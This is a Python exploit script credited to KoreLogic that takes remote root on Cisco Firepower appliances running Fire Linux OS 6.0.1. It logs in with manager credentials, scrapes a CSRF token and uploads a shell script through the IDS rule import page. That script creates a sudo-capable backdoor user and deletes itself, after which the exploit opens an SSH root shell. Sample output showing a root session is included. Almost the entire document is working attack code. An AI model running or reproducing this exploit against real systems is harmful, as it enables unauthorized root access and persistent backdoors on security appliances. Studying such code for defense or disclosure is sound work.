#!/usr/bin/python # # $ python kl-cisco-firepower-rce.py --host 1.3.3.7 --mgr-user intrusion --mgr-pass intrusion # # KoreLogic @thatguylevel # Cisco Firepower Remote Root # Cisco Fire Linux OS 6.0.1 (build37) / 6.0.1 (build 1213) # # [+] Checking if 1.3.3.7 is online. # [+] Checking if 1.3.3.7 is vulnerable. # [+] Authenticating to 1.3.3.7. # [+] Sending payload. # [-] Backdoor username: UEeUP4aE # [-] Backdoor password: wnDgf64rNpJMFx4oEmcGFEXRHaHyn7L6 # uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy) # 23:05:58 up 2:04, 1 user, load average: 0.44, 0.61, 0.60 # Linux firepower 3.10.53sf.virtual-26 #1 SMP Mon Feb 22 20:47:53 UTC 2016 x86_64 GNU/Linux # $ # # NOTES: Target user must have privilege to update the IDS rules. # from paramiko import SSHClient, WarningPolicy from string import ascii_letters, digits from optparse import OptionParser from requests import post, get from random import choice from os import system class Exploit: def __init__(self, host=None, mgr_user=None, mgr_pass=None, new_user=None, new_pass=None, shell=None): self.host = host self.mgr_user = mgr_user self.mgr_pass = mgr_pass self.new_user = new_user self.new_pass = new_pass self.shell = shell self.cookies = None self.csrf_token = None self.exploit_name = None return None def is_alive(self): print "[+] Checking if %s is online." % (self.host) alive = False response = get('https://%s/login.cgi?logout=1' % (self.host), verify=False) if (response.status_code == 200): alive = True return alive def is_vuln(self): print "[+] Checking if %s is vulnerable." % (self.host) vuln = False response = get('https://%s/login.cgi?logout=1' % (self.host), verify=False) if ("6.0.1" in response.content): vuln = True return vuln def get_session(self): print "[+] Authenticating to %s." % (self.host) response = post('https://%s/login.cgi?logout=1' % (self.host), verify=False, data='username=%s&password=%s&target=' % (self.mgr_user, self.mgr_pass), allow_redirects=False) if (response.status_code == 302): self.cookies = dict(CGISESSID=response.headers[ 'Set-Cookie'].split(";")[0].split("=")[1]) else: print "[!] Caught an error during authentication." exit(1) response = get('https://%s/DetectionPolicy/rules/rulesimport.cgi' % (self.host), verify=False, cookies=self.cookies) for line in response.content.split("\n"): if ("sf_action_id = '" in line and "var sf_action_id = '00000000000000000000000000000000';" not in line): self.csrf_token = line.split("=")[1][2:-2] return True def send_payload(self): print "[+] Sending payload." exploit_payload = {} exploit_payload['manual_update'] = 1 exploit_payload['source'] = 'file' exploit_payload['action_submit'] = 'Import' exploit_payload['sf_action_id'] = self.csrf_token self.exploit_name = ''.join( [choice(digits + ascii_letters) for i in xrange(8)]) exploit_files = {'file': ('%s.sh' % (self.exploit_name), 'sudo useradd -g ldapgroup -p `openssl passwd -1 %s` %s;rm -rf /var/sf/SRU/%s.sh' % (self.new_pass, self.new_user, self.exploit_name), 'application/octet-stream') } response = post('https://%s/DetectionPolicy/rules/rulesimport.cgi' % (self.host), verify=False, cookies=self.cookies, data=exploit_payload, files=exploit_files) return True def get_root(self): print "[-] Backdoor username: %s\n[-] Backdoor password: %s" % (self.new_user, self.new_pass) self.ssh_client = SSHClient() self.ssh_client.load_system_host_keys() self.ssh_client.set_missing_host_key_policy(WarningPolicy()) try: self.ssh_client.connect( self.host, port=22, username=self.new_user, password=self.new_pass) except Exception as e: print "[!] Exploit likely failed. Can your user update IDS rules?" exit(1) i, o, er = self.ssh_client.exec_command( "echo %s | sudo -S id;uptime;uname -a" % (self.new_pass)) print o.read() self.ssh_client.close() if (self.shell): system("sshpass -p '%s' ssh %s@%s 'sudo su -'" % (self.new_pass, self.new_user, self.host)) return True def run(self): if (self.is_alive() and self.is_vuln()): self.get_session() self.send_payload() self.get_root() else: print "[!] target host not alive or not vulnerable." exit(0) return True if __name__ == "__main__": print "\nKoreLogic @thatguylevel\nCisco Firepower Remote Root\nCisco Fire Linux OS 6.0.1 (build37) / 6.0.1 (build 1213)\n" parser = OptionParser() parser.add_option("--host", dest="host", help="Target IP or Hostname") parser.add_option("--mgr-user", dest="mgr_user", help="Valid HTTP UI Username") parser.add_option("--mgr-pass", dest="mgr_pass", help="Valid HTTP UI Password") parser.add_option("--new-user", dest="new_user", help="Backdoor username (Optional)") parser.add_option("--new-pass", dest="new_pass", help="Backdoor password (Optional)") parser.add_option("--shell", action="store_true", help="Start interactive shell w/ sshpass") o, a = parser.parse_args() if (o.host is None or o.mgr_user is None or o.mgr_pass is None): print "[!] --host, --mgr-user, and --mgr-pass are required." exit(1) else: if (o.new_user is None and o.new_pass is None): o.new_user = ''.join([choice(digits + ascii_letters) for i in xrange(8)]) o.new_pass = ''.join([choice(digits + ascii_letters) for i in xrange(32)]) if (o.shell): Exploit(host=o.host, mgr_user=o.mgr_user, mgr_pass=o.mgr_pass, new_user=o.new_user, new_pass=o.new_pass, shell=True).run() else: Exploit(host=o.host, mgr_user=o.mgr_user, mgr_pass=o.mgr_pass, new_user=o.new_user, new_pass=o.new_pass, shell=False).run() print "Goodbye." exit(0)